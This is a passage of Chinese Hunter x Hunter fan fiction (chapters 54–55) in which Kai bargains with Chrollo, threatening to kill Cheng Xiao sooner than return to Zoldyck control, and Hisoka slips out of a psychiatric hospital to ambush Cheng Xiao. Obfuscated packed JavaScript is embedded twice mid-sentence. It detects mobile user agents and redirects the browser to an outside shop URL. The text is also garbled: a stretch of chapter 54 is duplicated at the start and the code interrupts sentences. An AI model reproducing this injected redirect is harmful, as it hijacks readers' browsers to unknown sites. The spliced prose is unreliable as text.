“可我这里,还有一条路。”凯看着他,那个裂痕般的“笑容”扩大了些许,眼神却沉静得可怕,里面翻涌着一种清醒到极致的疯狂。那一瞬间,库洛洛几乎在他脸上看到了窗外伊尔迷那特有的、偏执空洞的神韵。 “如果真的到了绝路,”凯一字一顿,声音轻得像耳语,却带着千钧之力,砸在库洛洛的耳膜上,“我会在你们任何人之前,亲手杀死程笑。” 库洛洛脸上的笑容,终于淡去了。 凯继续说着,语气平稳得仿佛在陈述晚餐菜单: “然后,我会潜入最近的人群,彻底消失。你们所有的布局、算计、等待……都将失去唯一明确的目标,功亏一篑。” 他微微前倾,人偶精致的面孔在七彩光斑下显得有些诡异: “不要质疑我的决心,库洛洛·鲁西鲁。我宁愿亲手终结这一切,也绝对不会让自己重新回到揍敌客的掌控,失去声音,失去选择,失去“凯·希拉里昂”这个存在最后的轮廓,变成别人思维里一抹沉默的阴影。” 他的目光锁定了库洛洛,那双深紫色的眼睛里,此刻空空荡荡,映不出阳光,映不出咖啡馆的温馨,也映不出对面青年逐渐凝重的脸。只有一片深不见底的、万物皆可舍弃的决绝。 “即使,”他缓缓地,补上了最终也是最重的一击,声音轻得近乎慈悲,内容却残酷至极, “这意味着,我必须放弃程笑。” 空气仿佛凝固了。 库洛洛静静地看着对面的“人偶”。不再是评估一件有趣的藏品,也不是审视一个潜在的合作伙伴。而是凝视一个同类。 一个同样从流星街那片废墟里爬出来,将某些东西看得比温情、比联结、甚至比特定某个人的生命更重的…… 怪物。 “啊……”库洛洛发出一个极轻的、近乎叹息的音节。他脸上的最后一丝轻松彻底消失,取而代之的是一种混合着讶异、欣赏、以及某种更深层次共鸣的复杂神情。 只有在这一刻,当凯亲手撕下所有“理性谋士”、“无奈逃亡者”甚至“被执念追逐的可怜资产”的伪装,露出底下这副为达目的不惜焚毁一切的冰冷内核时—— 库洛洛才真切地想起,并确认: 啊,对了。 他也来自流星街。 和我一样。 于是,库洛洛·鲁西鲁也缓缓地、真切地笑了起来。那不是社交性的微笑,而是一种找到“同类”的、带着血腥气味的愉悦。 为了不被吞噬,我们可以吞噬一切;为了不被支配,我们可以支配一切。 “当然,”他开口,声音恢复了平稳,却比之前多了几分郑重,“我完全理解你的决心……毕竟,”他意有所指地瞥了一眼窗外正在挂断电话的伊尔迷,“我也和那位先生,‘相处’过一段时间。他可真是……” 他没有说出后半句,但两人心照不宣。 伊尔迷的偏执,足以逼出任何人最深处的疯狂。 库洛洛转回视线,看向凯,眼神变得锐利而专注:“所以,这不仅仅是威胁,对么?我们可以进入下一阶段了——关于合作的具体细节。” 他身体前倾,指尖轻轻点了点桌面: “以及,关于‘我’ ,能从中获得什么。” 凯微微颔首,那个令人不安的“笑容”已经收起,恢复了绝对的冷静:“当然。事成之后,你会得到一个……令你满意的‘帮手’。” 他强调了这个词,暗示这不仅是劳动力,更是战略层面的价值。 库洛洛看着他,终于举起手中的咖啡杯,像举起一杯致意的酒。他脸上的笑容深刻而真实: “好吧,我承认,”他说, “你确实……很像我。” 杯沿轻碰,无声。 “合作愉快。” ————————————另一边 市立第三精神卫生中心,单人病房。 西索斜靠在经过特殊加固的病床上,指尖一张扑克牌翻飞如蝶翼,反射着窗外苍白的光。他看起来慵懒惬意,甚至比外面那些奔波追捕的“同行”们更像个度假的富豪。 但这只是表象。他已经快无聊死了。 “三天了哟~”他舌尖滑过唇瓣,金色的瞳孔里沉淀着冰冷的分析。 警方的监视已经撤走,这在他的预料之中。毕竟,一个“入戏太深”的表演型人格障碍患者,总比一个“极度危险、随时可能拆墙”的念能力者好管理得多。他融入得太好了,好到连自己都想给自己颁个最佳演员奖。 但外面的寂静,却透着诡异。 以他对伊尔迷和库洛洛的了解,加上两方哪怕塑料的合作,追捕效率不该低到让目标近乎“人间蒸发”。 要么,是那颗小苹果和那颗特别的种子进化出了超乎想象的隐匿能力。 要么,是这个藏身之处……有着连那两位都暂时无法破解的“屏障”。 要么……是发生了更有趣的“意外”,绊住了他们的手脚。 西索的目光,懒洋洋地落在了床头那个崭新的、防拆卸呼叫铃上。 一个充满恶趣味的测试方案,瞬间成型。 他需要一点“噪音”,来探测外界的“信号强度”。 于是—— “咻。” 扑克牌如手术刀般精准掠过,削下呼叫铃按钮边缘一小块塑料。不多,刚好够惹怒那位已经濒临崩溃的护士长。 五分钟后,门被猛地推开,护士长举着损坏的呼叫铃,脸色铁青:“西索先生!这是最后一次警告!维修费必须由您家属承担!我们需要立即联系他!” 西索眨了眨那双写满“无辜”的金色眼睛,流畅地背出伊尔迷的号码,语气甜得发腻:“真的只是手滑嘛~ 请一定要好好跟他解释哦~?” 护士长无视他的表演,带着一种“终于抓到你把柄”的决绝, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这个痴痴呆呆的大叔,无意识散发出的念能力“场”,效果是——让处于场中的人,被外界“习惯性忽略”。 不是隐身,不是消除存在感,而是一种类似“认知滤网”的效果:“哦,是那个老傻子啊,没什么特别的,不用在意。” “emmmm……”西索托着下巴,金色的瞳孔里闪烁着算计的光芒。 无聊的念能力。但对于一个想“光明正大”地消失一会儿的魔术师来说…… 简直是量身定做的、最完美的幕布! 他可以堂而皇之地“走出”病房,甚至“走出”医院,只要保持在萨恩的能力场影响范围内,在普通人乃至一些不够敏锐的念能力者眼中,他就和背景板没什么区别。 “啊啦~”西索的脸上,重新绽放出那种发现新玩具的、妖异而愉悦的笑容,“看来……‘康复治疗’,可以提前进入‘户外活动’阶段了呢~?” ——————————— 另一边,格雷塔的酒馆。 格雷塔看了看墙上的钟,又看了看空荡荡的后院——平时这个点,萨恩早该回来,或者在附近晒太阳了。 “啧,麻烦。”她皱了皱眉,活动了一下手腕,“镇上那几个不长眼的小混混,是不是又皮痒了?”她以为又是那群家伙在欺负浑浑噩噩的萨恩取乐,这种事之前发生过几次,都被她“教育”过了。 程笑刚结束一组高强度的反应训练,正擦着汗走过来。经过这些天的相处和格雷塔偶尔的透露,他大概明白了酒馆能成为相对安全的避风港,萨恩那奇特且不受控的“让人忽略”的念能力场功不可没。虽然萨恩本人痴傻,但格雷塔一直照顾着他,视他为重要的同伴。 “老板娘,我去吧。”程笑主动开口,眼神里带着跃跃欲试的微光,“正好……我也想试试最近的训练成果。”他捏了捏拳头,感觉体内涌动着新的力量。 格雷塔打量了他一下,想了想那几个混混的战力,又看了看程笑眼中那份难得的、想要验证自身的认真,点了点头。 “行,速去速回。注意分寸,别闹出人命,揍服了就行,把萨恩安全带回来。”她叮嘱道,觉得这确实是个不错的“实战演练”机会,对手弱鸡,地点偏僻,不容易引起注意。 程笑咧嘴一笑,比了个“OK”的手势,转身就往外走。步伐轻快,甚至带着点兴奋。 自己终于迈出了新手村!该去找几个“小怪”练练手,刷点经验值了! 54.第 54 章 上午的阳光很好,透过咖啡馆精致的玻璃橱窗,被切割成七彩的光斑,跳跃在凯的人偶躯体上,为他那身繁复的服饰镀上一层虚幻的、近乎“岁月静好”的光晕。 对面的库洛洛·鲁西鲁靠在椅背里,饶有兴致地看了他一会儿。阳光落在他黑色的发梢和额头的逆十字上,让他看起来像个无害的、正在享受闲暇时光的俊美青年。 他忽然微微前倾,胳膊支在光洁的桌面上,手掌托着下巴,脸上浮起一丝浅浅的、洞悉一切的笑意: “…怪不得,”他声音不高,带着一种闲聊般的松弛,“伊尔迷总觉得,你和我很像。” 凯的目光掠过库洛洛,瞥向窗外街道对面——伊尔迷·揍敌客正站在那里接电话,侧脸在阳光下线条冷硬,与咖啡馆内的暖意格格不入。 “说些有价值的。”凯收回视线,声音通过人偶的机制发出,平稳无波,“他快回来了。” 库洛洛像是晒足了太阳的猫,惬意地眯了眯眼,金色的瞳孔在长睫下闪过一丝玩味:“你这次特意‘回来’,就只是为了这个?” 他意指这次危险的会面。 凯端起面前的咖啡杯,人偶的手指动作优雅却略显僵硬,他抿了一口——尽管这具身体尝不出味道。放下杯子时,他看向库洛洛,眼神里没有任何温度:“不然呢?难道我是专程来给伊尔迷·揍敌客做心理疏导的?” 库洛洛低低地笑了声,那笑声里听不出情绪:“…好吧。”他眨了眨眼,做出倾听的姿态,“请说。” 把你的“合作”提议,摊开来。我需要评估,是否值得入场。 凯没有绕任何弯子,他省去了所有试探和修辞,开门见山,直击核心: “你应该已经知道了伊尔迷的完整方案——在捕获程笑的瞬间杀死他,利用规则,让我强制附身到距离最近的、他预先设定好的容器中,大概率是他自己。” 库洛洛的嘴角依旧噙着那抹浅笑,轻轻颔首:“知道啊。”他语气轻松,仿佛在讨论天气,“然后呢?” 他的潜台词清晰:这只能证明你的情报获取能力尚可。仅凭“你知道我的对手想干什么”,还不足以让你坐上我的谈判桌。 凯看着对面青年那副游刃有余、甚至带着点漫不经心的姿态,人偶的脸上,嘴角极其缓慢地、向上拉开了一个细微的弧度。 那不是微笑。那更像是一种……理性的裂痕,一种冰冷的、疯狂的内核,正在撕开平静的表层,透出狰狞的一角。 “我知道你在盘算什么,库洛洛。”凯的声音压得很低,却字字清晰,如同冰锥敲击,“无非是确保在关键时刻,伊尔迷不会是‘距离程笑最近的人’。这样,他非但不会出手杀死程笑,反而会为了计划的完美,不得不全力保证程笑的存活,对吗?” 库洛洛挑了挑眉,没有否认:“这确实是我最初的备用思路之一。也是我之前找你‘聊聊’时,可能开出的条件——虽然没用上。”他身体微微后靠,姿态依旧放松,但眼神里的审视意味浓了一分,“然后呢?这只能证明,你确实有几分不错的推演能力。” 仅此而已。 库洛洛的身体,几不可查地坐正了一些。空气中那份“闲聊”的松弛感,正在悄然褪去。 “可我这里,还有一条路。”凯看着他,那个裂痕般的“笑容”扩大了些许,眼神却沉静得可怕,里面翻涌着一种清醒到极致的疯狂。那一瞬间,库洛洛几乎在他脸上看到了窗外伊尔迷那特有的、偏执空洞的神韵。 “如果真的到了绝路,”凯一字一顿,声音轻得像耳语,却带着千钧之力,砸在库洛洛的耳膜上,“我会在你们任何人之前,亲手杀死程笑。” 库洛洛脸上的笑容,终于淡去了。 凯继续说着,语气平稳得仿佛在陈述晚餐菜单: “然后,我会潜入最近的人群,彻底消失。你们所有的布局、算计、等待……都将失去唯一明确的目标,功亏一篑。” 他微微前倾,人偶精致的面孔在七彩光斑下显得有些诡异: “不要质疑我的决心,库洛洛·鲁西鲁。我宁愿亲手终结这一切,也绝对不会让自己重新回到揍敌客的掌控,失去声音,失去选择,失去“凯·希拉里昂”这个存在最后的轮廓,变成别人思维里一抹沉默的阴影。” 他的目光锁定了库洛洛,那双深紫色的眼睛里,此刻空空荡荡,映不出阳光,映不出咖啡馆的温馨,也映不出对面青年逐渐凝重的脸。只有一片深不见底的、万物皆可舍弃的决绝。 “即使,”他缓缓地,补上了最终也是最重的一击,声音轻得近乎慈悲,内容却残酷至极, “这意味着,我必须放弃程笑。” 空气仿佛凝固了。 库洛洛静静地看着对面的“人偶”。不再是评估一件有趣的藏品,也不是审视一个潜在的合作伙伴。而是凝视一个同类。 一个同样从流星街那片废墟里爬出来,将某些东西看得比温情、比联结、甚至比特定某个人的生命更重的…… 怪物。 “啊……”库洛洛发出一个极轻的、近乎叹息的音节。他脸上的最后一丝轻松彻底消失,取而代之的是一种混合着讶异、欣赏、以及某种更深层次共鸣的复杂神情。 只有在这一刻,当凯亲手撕下所有“理性谋士”、“无奈逃亡者”甚至“被执念追逐的可怜资产”的伪装,露出底下这副为达目的不惜焚毁一切的冰冷内核时—— 库洛洛才真切地想起,并确认: 啊,对了。 他也来自流星街。 和我一样。 于是,库洛洛·鲁西鲁也缓缓地、真切地笑了起来。那不是社交性的微笑,而是一种找到“同类”的、带着血腥气味的愉悦。 为了不被吞噬,我们可以吞噬一切;为了不被支配,我们可以支配一切。 “当然,”他开口,声音恢复了平稳,却比之前多了几分郑重,“我完全理解你的决心……毕竟,”他意有所指地瞥了一眼窗外正在挂断电话的伊尔迷,“我也和那位先生,‘相处’过一段时间。他可真是……” 他没有说出后半句,但两人心照不宣。 伊尔迷的偏执,足以逼出任何人最深处的疯狂。 库洛洛转回视线,看向凯,眼神变得锐利而专注:“所以,这不仅仅是威胁,对么?我们可以进入下一阶段了——关于合作的具体细节。” 他身体前倾,指尖轻轻点了点桌面: “以及,关于‘我’ ,能从中获得什么。” 凯微微颔首,那个令人不安的“笑容”已经收起,恢复了绝对的冷静:“当然。事成之后,你会得到一个……令你满意的‘帮手’。” 他强调了这个词,暗示这不仅是劳动力,更是战略层面的价值。 库洛洛看着他,终于举起手中的咖啡杯,像举起一杯致意的酒。他脸上的笑容深刻而真实: “好吧,我承认,”他说, “你确实……很像我。” 杯沿轻碰,无声。 “合作愉快。” ————————————另一边 市立第三精神卫生中心,单人病房。 西索斜靠在经过特殊加固的病床上,指尖一张扑克牌翻飞如蝶翼,反射着窗外苍白的光。他看起来慵懒惬意,甚至比外面那些奔波追捕的“同行”们更像个度假的富豪。 但这只是表象。他已经快无聊死了。 “三天了哟~”他舌尖滑过唇瓣,金色的瞳孔里沉淀着冰冷的分析。 警方的监视已经撤走,这在他的预料之中。毕竟,一个“入戏太深”的表演型人格障碍患者,总比一个“极度危险、随时可能拆墙”的念能力者好管理得多。他融入得太好了,好到连自己都想给自己颁个最佳演员奖。 但外面的寂静,却透着诡异。 以他对伊尔迷和库洛洛的了解,加上两方哪怕塑料的合作,追捕效率不该低到让目标近乎“人间蒸发”。 要么,是那颗小苹果和那颗特别的种子进化出了超乎想象的隐匿能力。 要么,是这个藏身之处……有着连那两位都暂时无法破解的“屏障”。 要么……是发生了更有趣的“意外”,绊住了他们的手脚。 西索的目光,懒洋洋地落在了床头那个崭新的、防拆卸呼叫铃上。 一个充满恶趣味的测试方案,瞬间成型。 他需要一点“噪音”,来探测外界的“信号强度”。 于是—— “咻。” 扑克牌如手术刀般精准掠过,削下呼叫铃按钮边缘一小块塑料。不多,刚好够惹怒那位已经濒临崩溃的护士长。 五分钟后,门被猛地推开,护士长举着损坏的呼叫铃,脸色铁青:“西索先生!这是最后一次警告!维修费必须由您家属承担!我们需要立即联系他!” 西索眨了眨那双写满“无辜”的金色眼睛,流畅地背出伊尔迷的号码,语气甜得发腻:“真的只是手滑嘛~ 请一定要好好跟他解释哦~?” 护士长无视他的表演,带着一种“终于抓到你把柄”的决绝, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16928442|186323||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拨通了电话。 西索看似漫不经心地把玩着新的扑克牌,全身的感知却如同最敏锐的雷达,锁定了护士长的每一个呼吸变化、语气起伏,甚至肌肉的紧绷程度。 可能性A:电话接通,冷漠处理(转账/记账)。 结论:追捕仍在按部就班进行,但尚未突破。外界的“游戏”处于僵持阶段,他可以继续享受这难得的“中场休息”,等待高潮自己到来。 可能性B:电话不通/被拒。 结论:要么得手,要么陷入大麻烦。无论哪种,平静都将被打破,他这颗“炸弹”该出仓了。 可能性C:要求与他直接对话。 结论:BINGO!棘手程度超乎想象,需要他这张“鬼牌”入场搅局!这是最甜美的战前邀请! 西索的呼吸几不可查地放轻,肌肉松弛却蕴满爆发力,像假寐的顶级掠食者。 然而,结果让他嘴角的弧度微微下撇。 转账。利落,迅速,附带一句通过护士长转达的、毫无波澜的留言:“记在账上,再有下次,账单寄给库洛洛·鲁西鲁。” 是A。 小伊还在掌控节奏,但显然没遇到需要他出马的“惊喜”。 “唔……”西索发出一声不满的轻哼,像没等到心爱糖果的孩子。 但魔术师从不空手而归。就在他感到些许无聊时,一种极其微弱、近乎本能的念力波动,如同水底暗流,掠过他的感知边缘。不是攻击性的,更像是一种……被动散发、持续存在的“场”。 他眯起眼,循着那丝波动“看”去。 源头在走廊尽头,一个总是坐在轮椅上、眼神空洞的中年男人身上。那波动时强时弱,无序而混沌,仿佛主人早已失去控制它的意识。 西索来了点兴趣。他“不小心”将一张扑克牌弹飞到了萨恩附近,然后借口捡牌,近距离观察。 经过一系列极其隐晦的试探,包括但不限于用念丝触碰、改变自身存在感、观察萨恩及周围医护人员的反应等等……总之,西索得出了一个有趣的结论: 这个痴痴呆呆的大叔,无意识散发出的念能力“场”,效果是——让处于场中的人,被外界“习惯性忽略”。 不是隐身,不是消除存在感,而是一种类似“认知滤网”的效果:“哦,是那个老傻子啊,没什么特别的,不用在意。” “emmmm……”西索托着下巴,金色的瞳孔里闪烁着算计的光芒。 无聊的念能力。但对于一个想“光明正大”地消失一会儿的魔术师来说…… 简直是量身定做的、最完美的幕布! 他可以堂而皇之地“走出”病房,甚至“走出”医院,只要保持在萨恩的能力场影响范围内,在普通人乃至一些不够敏锐的念能力者眼中,他就和背景板没什么区别。 “啊啦~”西索的脸上,重新绽放出那种发现新玩具的、妖异而愉悦的笑容,“看来……‘康复治疗’,可以提前进入‘户外活动’阶段了呢~?” ——————————— 另一边,格雷塔的酒馆。 格雷塔看了看墙上的钟,又看了看空荡荡的后院——平时这个点,萨恩早该回来,或者在附近晒太阳了。 “啧,麻烦。”她皱了皱眉,活动了一下手腕,“镇上那几个不长眼的小混混,是不是又皮痒了?”她以为又是那群家伙在欺负浑浑噩噩的萨恩取乐,这种事之前发生过几次,都被她“教育”过了。 程笑刚结束一组高强度的反应训练,正擦着汗走过来。经过这些天的相处和格雷塔偶尔的透露,他大概明白了酒馆能成为相对安全的避风港,萨恩那奇特且不受控的“让人忽略”的念能力场功不可没。虽然萨恩本人痴傻,但格雷塔一直照顾着他,视他为重要的同伴。 “老板娘,我去吧。”程笑主动开口,眼神里带着跃跃欲试的微光,“正好……我也想试试最近的训练成果。”他捏了捏拳头,感觉体内涌动着新的力量。 格雷塔打量了他一下,想了想那几个混混的战力,又看了看程笑眼中那份难得的、想要验证自身的认真,点了点头。 “行,速去速回。注意分寸,别闹出人命,揍服了就行,把萨恩安全带回来。”她叮嘱道,觉得这确实是个不错的“实战演练”机会,对手弱鸡,地点偏僻,不容易引起注意。 程笑咧嘴一笑,比了个“OK”的手势,转身就往外走。步伐轻快,甚至带着点兴奋。 自己终于迈出了新手村!该去找几个“小怪”练练手,刷点经验值了! 55.第 55 章 窗外的阳光正好,将橱窗折射出的七彩光斑洒在凯的人偶躯体上,为他过于完美的面容镀上一层虚幻的温暖。 “合作愉快。” 库洛洛举杯,微笑如精心调试的面具。 凯微微颔首,人偶的关节发出几乎听不见的轻响。“合作愉快。” 声音平稳无波。 表象之下,凯的思维核心如同超算启动,冷光流淌: 合作?当然。这是目前逻辑推演下的最优路径。 他“注视”着库洛洛。这位蜘蛛头子绝不可能孤身赴会。揍敌客动了,动的还是家族层面的力量,这意味着伊尔迷手握的资源等级极高。库洛洛若想在这张餐桌上分肉,而不是沦为肉,他带来的必然是整个幻影旅团的爪牙,此刻定然如阴影般潜伏在周围的喧嚣里。 这正合我意。 席巴的意志加持下,伊尔迷能调动的是一条恶龙。棋盘上,唯一能与恶龙周旋、甚至令其流血的,只有另一头同样贪婪的猛兽——蜘蛛。 他自动将那个行踪不定、逻辑自洽的西索排除在稳定变量之外。西索是飓风,是变数,但非棋盘上的“子”。 库洛洛要的,无非是“战利品”和“过程的价值”。我的承诺,是给他一个“预期”:在关键节点,我会成为他扳倒伊尔迷的助力,事成之后,我是一个“有价值的帮手”。) 一个精心烘焙、香气诱人、却注定无法兑现的“大饼”。 关键在于时机——翻脸的时机。 若不干预,依照这两人的贪婪与谨慎,他们会在真正捕获程笑、‘成果’落袋为安的那一刻,才图穷匕见,开始互相撕咬。那时,程笑已成瓮中之鳖,我和他皆无辗转空间。 但若我此刻递上‘合作’,埋下‘共同行动’的引信…… 凯的思维中浮现清晰的推演图景: 伊尔迷与库洛洛的合作,会持续到“围捕程笑”的最后阶段。在程笑看似唾手可得、双方力量最集中、神经最紧绷的对峙瞬间——那个成果在望却尚未入手的临界点——贪婪与不信任会膨胀到极致。 库洛洛会在此刻翻脸。因为他认为:此时发难,可避免与揍敌客陷入漫长的成果争夺战。并且他还有足够自信的底牌和…尽管未必全信的“盟友”凯的承诺。 ……他会提前翻脸。这就够了。 只要他们在那关键时刻撕咬起来,揍敌客的精密‘规则杀’需要稳定环境,库洛洛的算计依赖信息掌控,一旦陷入混战,两者皆会受制。 那将是唯一的机会窗口。混乱,才是逃离绝对秩序与命运织网的最佳掩体。 凯感受着人偶躯壳内流逝的稳定时间,同步规划着意识回归程笑脑海后,需要传递的加密信息与应变方案。 库洛洛许诺的“未来”?在流星街的词典里,“长期合作”等于“暂时利用”。价值榨干或威胁显露之日,即是清算之时。 这一点,他比任何人都清楚。 ………… 库洛洛·鲁西鲁姿态松弛,仿佛沉浸在这慵懒的上午,只有眼底一闪而过的金芒,暴露着深海般的盘算。 和你联手对付伊尔迷?当然好。 他金色的瞳孔深处掠过一丝冰冷的愉悦。凯的决绝和清醒远超预期,这让他看到了更高效瓦解伊尔迷计划的可能。一个了解伊尔迷思维模式、并愿意为此焚毁一切的盟友,价值难以估量。 不过…… 他啜饮着早已凉透的咖啡,思绪却如毒藤般蔓延。 你以为解决了伊尔迷这个‘眼前障碍’,你和程笑就能远走高飞,摆脱所有纠缠? 太天真了,我亲爱的‘同类’。 ‘厄运虹吸’的丝线早已悄然缠绕。命运的偏斜已经开始。你们接下来遭遇的每一次‘意外’,每一次‘不顺’,每一次仿佛被世界针对的微小挫折……都将是我的意志,在你们命运长河中投下的涟漪。 库洛洛的指尖,无意识地、极轻地摩挲着杯壁。 你们会发现,无论逃向何方,命运的轨迹,都会将你们……推回我的面前。 到那时,凯,你这份清醒的疯狂,你这颗绝顶的头脑,还有程笑那身有趣的能力……都将成为我收藏室里,最匹配、也最温顺的藏品。 他抬起眼,看向凯,笑容温和依旧,眼底却是一片深渊般的、志在必得的平静。 ………… 窗外的光影微微偏移,风铃清脆一响。 伊尔迷·揍敌客推门而入,带着一身与咖啡馆暖意格格不入的冰冷气息,精准地走向他们这一桌。他扫了一眼相对而坐的凯和库洛洛,那双空洞的猫眼里看不出情绪,只是自然地拉开凯旁边的椅子坐下,仿佛他本就该在这个位置。 凯与库洛洛几乎在同时,将眼底所有深不见底的算计完美收纳。脸上重新挂起无可挑剔的、淡然而契合的神情,仿佛刚才只是一场关于天气或咖啡的寻常闲聊。 短暂的沉默,只有伊尔迷坐下时衣料的细微摩擦声。 凯操控着人偶,端起面前那杯早已凉透的咖啡,极其自然地送到唇边,又抿了一口——尽管他尝不到任何味道。然后,他像是突然想起什么,放下杯子,目光平静地在伊尔迷和库洛洛之间转了个来回,语气平淡的开口道: “说起来,”他顿了顿,“怎么没见西索?” 他看向伊尔迷,又补充了一句,带着一丝纯粹的困惑:“上次他不是也跟你们在一起吗?” 空气凝固了一瞬。 伊尔迷:“……” 库洛洛:“……” 两位在黑暗世界叱咤风云、此刻正各自心怀鬼胎的巨头,脸上第一次出现了高度同步的、某种介于“一言难尽”、“不堪回首”和“这破事能不能别提了”之间的复杂表情。他们甚至下意识地对视了一眼,又在瞬间嫌恶地移开视线。 这短暂的沉默和微妙的表情交流,让凯更加疑惑了。人偶精致的眉头几不可查地蹙起:“?” 库洛洛抬手揉了揉眉心,仿佛在驱散某种精神污染,最终用一种平铺直叙、却透着深深无力的语气陈述道: “…他进神经病院了。” 凯:“……???” 人偶的脸上罕见地出现了一丝真实的、名为“震惊”的空白。他那绝对理性的核心飞速运转,试图理解这句话背后的逻辑:西索?进精神病院?那个把战斗当狂欢、把混乱当艺术的西索?是伪装?是新的游戏?还是…… 他终于……意识到自己的病情已经岌岌可危,所以主动接受治疗了? 凯:“……” 库洛洛:“……” 伊尔迷:“…………” 伊尔迷似乎决定终结这个令人烦躁的话题。他将目光落到了凯手中那杯咖啡,以及他刚刚抿过的杯沿上。 “别的不说,”伊尔迷用他那特有的、平直无波的声线,提出了一个非常实际(且诡异)的技术性质疑,“你可以喝液体吗?” 凯:“………食物中的固体部分无法消化,会堵塞内部结构。但液体……少量摄入无妨,会暂时沁入内部填充物。” 他顿了顿,考虑到“资产维护”的责任归属,补充说明了后续处理方案: “下次我意识离开这具躯壳前,你记得把它清洗干净,把沁进去的咖啡渍漂洗出来就可以了。” 语气之自然,仿佛在交代如何保养一件有点娇贵的皮具。 伊尔迷闻言,松开了手,似乎对这个答案表示认可。“哦。”他应了一声,仿佛这只是一个需要确认的普通使用注意事项。 ——————————另一边 小镇通往市立第三精神卫生中心的路不算远,程笑边走边活动着酸痛的胳膊,心里盘算着吐槽格雷塔的魔鬼训练。 阳光不错,街上人少。拐过街角,他远远看到一个坐在轮椅上的熟悉身影——萨恩。 程笑松了口气。萨恩的状态一直很特殊,格雷塔说过,这伙计脑子坏了,但似乎也因此觉醒了一种很偏门的念能力——【安心领域】。以萨恩为中心,半径大概十米左右,踏进这个范围的人,会不自觉地被“认知模糊”。不是看不见,而是会下意识觉得“这里一切正常”、“没什么值得注意的”,对范围内的人和事都提不起警惕心,恶意会被稀释,异常会被合理化。 简单说,算是个行走的、弱化版的“和平光环”。 因此,看到萨恩被一个穿着护工制服的人推着,程笑只觉得“啊,是护工在带他散步,挺好”,脚步轻松地走过去,准备打个招呼顺便接手——毕竟他和格雷塔算“家属”,经常带萨恩出来透气。 推着萨恩的护工似乎业务不太熟练,轮椅路线歪歪扭扭,像个新手在玩碰碰车。程笑摇摇头,加快脚步——得赶紧接手,可别让萨恩被这笨手笨脚的家伙推进沟里。 就在他靠近时,那个一直推着轮椅画“之”字的护工,突然像接收到了精准导航,轮椅“唰”地调转方向,笔直地、甚至带着点欢脱的意味, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16940149|186323||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 朝他冲来! 程笑脚步一顿。 ……好吧,看来镇上的人都默认他和格雷塔是“萨恩的指定监护人”了。送货□□还挺到位。 他这才仔细看那护工。嗯,浅蓝色制服没错,但……这妆容残留是不是太敬业了?脸上明显有没卸干净的小丑油彩痕迹,星星和泪滴的轮廓在阳光下若隐若现,几缕没塞好的红发从帽檐倔强地翘出来。 程笑眨眨眼。 ……小丑主题Cosplay兼职?现在精神卫生机构也搞这么花哨的“角色扮演疗愈法”?还是这护工哥们儿下班后有颗躁动的心,兼职漫展小丑,上班迟到来不及洗脸? 真拼啊。程笑甚至脑补出了一位为了生活奔波、在“疯狂小丑”和“温柔护工”之间无缝切换的打工人形象,心里那点同情混杂着“这行真卷”的感慨。 轮椅稳稳刹在他面前。护工微微弯腰,做了个略显夸张的“请接旨”手势。 程笑习惯性地道谢,伸手去接轮椅把手:“谢了啊,交给我吧。” 他的手刚碰到冰凉金属,上方就传来一个声音。 那声音像是浸了蜜糖又通了高压电,甜腻中带着危险的颤音,精准地钻进他耳朵: “嗯哼~不客气哦~” 程笑动作一僵。 这语调……? 声音的主人似乎很享受他这瞬间的凝固,刻意放缓了语速,清晰地将那个噩梦般的称谓送入他耳中: “小·苹·果~?” 程笑:“!!!!!!” 程笑的瞳孔在万分之一秒内收缩到极致! 所有的“合理推测”、“打工不易”、“艺术疗愈”剧本瞬间灰飞烟灭!大脑在极致的惊恐中反而陷入一片冰冷的空白,只剩下最原始的生存本能接管了身体—— “我操啊啊啊——!!!” 一声完全变调的、凄厉的惨叫撕裂了街道的宁静! 程笑根本来不及思考,左手爆发出惊人的力量,猛地将萨恩连人带轮椅狠狠往后一扯!右手几乎是同时,抓起轮椅扶手上挂着的、萨恩喝水用的不锈钢保温杯,用尽全力朝着那张笑脸砸了过去!不是为了击中,纯粹是为了干扰、为了制造哪怕0.1秒的逃离窗口! 他自己则借着反作用力,脚下像是安了火箭推进器,一个狼狈到极致但速度恐怖的“屁股向后平沙落雁式”加“连滚带爬”,拼命拽着萨恩的轮椅向后狂退! 保温杯砸在西索脚边,发出“哐当”一声巨响,滚了几圈。 西索却连眼皮都没动一下。他只是站在原地,微微歪着头,欣赏着程笑这一系列精彩绝伦的、充满生命力的惊吓反应。金色的瞳孔里,愉悦的光芒几乎要溢出来。 而程笑,已经退到了几十米开外,汗毛倒竖,瞳孔缩成了针尖,死死瞪着那个缓缓直起身、随手扯掉护工帽、任由那头红发如同火焰般披散下来、脸上笑容灿烂到扭曲的—— 西索。 现在,没有“安心领域”的滤镜,西索的存在感如同实质的恶寒,笼罩了整条街道。 阳光依旧明媚,但空气仿佛结了冰。 西索轻轻拍了下手,仿佛在为好戏开场鼓掌。 “反应~还是这么可爱呢~?” 